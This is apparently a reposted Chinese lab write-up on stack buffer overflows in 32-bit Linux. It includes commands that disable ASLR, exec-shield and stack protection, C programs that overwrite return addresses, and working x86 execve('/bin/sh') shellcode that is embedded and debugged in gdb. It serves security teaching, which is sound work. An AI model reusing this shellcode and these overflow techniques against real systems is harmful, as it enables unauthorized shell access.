缓冲区溢出攻击实验
转自:http://blog.163.com/jw_chen_cs/blog/static/20221214820124119642246/
【实验要求】
1)基本要求:
编写一个能实现缓冲区溢出(整数溢出或堆栈溢出)的程序。语言不限(c,c++,c#,java等均可),环境也不限(linux或windows等)。并在调试状态下(如linux的gdb或其他集成开发环境的调试命令)查看寄存器和相应存储单元内容的变化情况。分析并解释缓冲区溢出的原因。
提交:分析文档(要给出调试过程和运行过程中的一些必要的截图),源代码等。
2)提高要求:
在上述溢出的情况下,改写ret地址,增加shellcode代码,实现本地或远程管理员权限的非授权访问。
例:一个简单的shellcode程序:
/* linux下的一个程序*/
#include <stdio.h>
void main() {
char *name[2];
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
}
也可用gdb对其反汇编(主要分析execve和exit函数调用的机器指令),获得相关的汇编代码,进一步处理为16进制机器代码,形如char shellcode[]="\xeb\xlf.......\bin\sh";然后利用strcpy等脆弱性函数植入shellcode.
【实验原理】
实验主要是利用getchar()等脆弱性函数在执行时没有检查缓冲区长度的特性,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
-
局部变量与堆栈的关系
在一个程序中,会声明各种变量。静态全局变量是位于数据段并且在程序开始运行的时候被初始化,而局部变量则在堆栈中分配,只在该函数内部有效。如果局部变量使用不当,会造成缓冲区溢出漏洞。例如,以下程序将会由于getchar()没有检查缓冲区,导致输入溢出:
#include <stdio.h>
int main()
{
char ch[3];
int i = 0;
while((ch[i++] = getchar()) != '\n');
printf("i = %d %s\n", i, ch);
return 0;
}
2、 利用堆栈溢出运行攻击代码
攻击的最关键在于利用缓冲区溢出部分的数据覆盖堆栈,用特定的地址替换堆栈中的返回地址,这样当函数调用返回的时候就会把我们替换的返回地址弹出到当前基址,继续执行就会转入我们想要跳转的地址执行事先设定好的代码段了。
【实验环境】
操作系统: Ubuntu 10.10
GDB版本: Ubuntu/Linaro 7.2-1ubuntu11 i686-linux-gnu
CPU型号: AMD 245
环境配置:
1、在Ubuntu和其它基于Linux内核的系统中,目前都使用内存地址随机化的机制来初始化堆栈,这将会使得猜测具体的内存地址变得十分困难,所以在本试验中,用下列命令关闭内存随机化机制:
su //进入root权限
[enter password]:
sysctl -w kernel.randomize_va_space=0 //随机
2、对于Federal系统,默认会执行可执行程序的屏蔽保护,而对于Ubuntu系统默认没有执行这种保护机制,可执行程序的屏蔽保护机制不允许执行存储在栈中的代码,这会使得缓冲区溢出攻击变得无效。所以如果在Fedora系统中我们需要用下面的命令关闭这种机制:
$ su root
Password: (enter root password)
# sysctl -w kernel.exec-shield=0
3、
GCC编译器也会执行一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用
-fno-stack-protector //关闭栈保护
-z execstack //可执行栈
【实验过程】
-
基础演示缓冲区溢出
1 #include <stdio.h>
2 int i = 0;
3 void attack()
4 {
5 printf("hello, this's attack function\n");
6 }
7 void get()
8 {
9 int a = 0;
10 unsigned char ch[3];
11 int *ret = 0;
12 printf("%x\n%x\n", &a, &ch);
13 //while((ch[i++] = getchar()) != '\n');
14 //while(scanf("%d", ch[i++]));
15 while( i < 23)16 ch[i++] = 0x90;
17 ch[i++] = (char)(int)&attack % 256;
18 ch[i++] = (char)((int)&attack >> 8) % 256;
19 ch[i++] = (char)((int)&attack >> 16) % 256;
20 ch[i++] = (char)((int)&attack >> 24) % 256;
21 printf("i = %d %d %s\n", i, a, ch);
22 //ret = &i + 5;
23 //*ret -= 12;
24 //return 0;
25 }
26
27 int main()
28 {
29 //int i = 0;
30 get();
31 printf("hello\n");
32 printf("%d\n", i);
33 return 0;
34 }
对exp_flow.c进行编译:
gcc -g -fno-stack-protector -z execstack -o flow1 exp_flow1.c
objdump -d flow1 //对flow1进行反汇编
堆栈:
高位地址
-
参数1
参数2
...
参数n
函数返回地址 0xbffff28c
ebp
ebx
(在栈里分配 0x24个位置)
...
esp-0xc 0xbffff27c (int *ret)
esp-0x10 0xbffff278 (int a)
esp-0x13 0xbffff275 (char ch[3])
低位地址
(gdb) print /x &a //int a 的地址
$6 = 0xbffff278
(gdb) print /x &ch
//char ch[3] 数组的首地址
$7 = 0xbffff275
(gdb) print /x &ret
//int *ret 的地址
$8 = 0xbffff27c
void get();//函数的返回地址为:0x080483fr
17~18行是数组溢出到get()的返回地址的所在栈位置处(0xbffff28c),所以用函数attack()的入口地址来覆盖get() 的返回地址的栈位置的值,即把返回地址改为指向attack()函数的入口地址。
执行结果如下,跳到了attack()的入口地址去了,溢出成功。
-
缓冲区溢出执行shellcode
源码:
#include <stdio.h>
#include <string.h>
int i = 0;
void get()
{
int a = 0;
int b = 0;
int *ret = 0;
unsigned char ch[46] =
"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh"
;
printf("%x\n%x\n", &ret, &ch);
ret = &ch[70]; //一直溢出到返回地址,中间省略了其它填充代码。
*ret = (int)ch; //修改返回地址,让其指向数组ch的首地址。
printf("%d\n", strlen(ch));
}
int main()
{
get();
printf("hello\n");
printf("%d\n", i);
return 0;
}
shellcode必须放在一个空间,而且这个空间没有溢出,不然会出错。
执行结果:
实验所遇到的问题:
#include <stdio.h>
#include <string.h>
int i = 0;
const unsigned char shellcode[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
void attack()
{
printf("hello, this's attack function\n");
}
void get()
{
int a = 0;
int b = 0;
int c = 0;
unsigned char ch[4];
int *ret = 0;
unsigned char code[] =
"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh"
;
printf("%x\n%x\n", &ret, &ch);
//while( i < 23)
//ch[i++] = 0x90;
//memset(ch, 0x90, sizeof(ch));
memcpy(ch, shellcode, sizeof(shellcode));
i = strlen(shellcode)+4;
ch[i++] = (char)(int)(&ch) % 256;
ch[i++] = (char)((int)(&ch) >> 8) % 256;
ch[i++] = (char)((int)(&ch) >> 16) % 256;
ch[i] = (char)((int)(&ch) >> 24) % 256;
// for(int i=0;i<31;i++)test[i]='A';
memset(ch + i + 1,0x41,100);
// strcpy(ch,test);
//ret = &ch[i-3];
//*ret = (int)code;
/*while(i--){
printf("%x ", ch[i]);
}
printf("i = %d %d %s\n", i, a, ch);*/
printf("%d\n", strlen(ch));
//((void(*)())&ch)();
}
int main()
{
//int i = 0;
get();
printf("hello\n");
printf("%d\n", i);
return 0;
}
执行结果出错,段错误:
gdb中查看内存结果如下:
ch数组的首地址为:0xbffff270
get()的返回地址在0xbffff28c ,但被正确修改指向ch的首地址了
中间溢出的结果如下。
从ch的首地址0xbffff270一直到0xbfff287,共24byte,都是存放着shellcode[],
gdb调试结果,如下
错误出现在0xbffff280...
问题求解过程:
一直想不明白这是为什么。。。
已经把get()的函数返回地址指到数组ch[](4byte)的首地址,然后用shellcode的内容一直溢出,把int a, int b, int c 都覆盖掉,一直覆盖到函数返回地址的前4个byte,再修改返回地址,指向ch[]的首地址。
其实是shellcode代码出错了,但是,也不怎么确定,因为把shellcode放在get()外面就行的。
把shellcode代码替换成下面的code就行了。
#include <stdio.h>
#include <string.h>
int i = 0;
void get()
{
int a[6];
unsigned char ch[10];
//int *ret = 0;
unsigned char code[] =
"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh"
;
memcpy(ch, code, sizeof(code));
i = sizeof(code);
ch[i++] = (char)(int)(&ch) % 256;
ch[i++] = (char)((int)(&ch) >> 8) % 256;
ch[i++] = (char)((int)(&ch) >> 16) % 256;
ch[i] = (char)((int)(&ch) >> 24) % 256;
printf("%d\n", strlen(ch));
}
int main()
{
//int i = 0;
get();
printf("hello\n");
printf("%d\n", i);
return 0;
}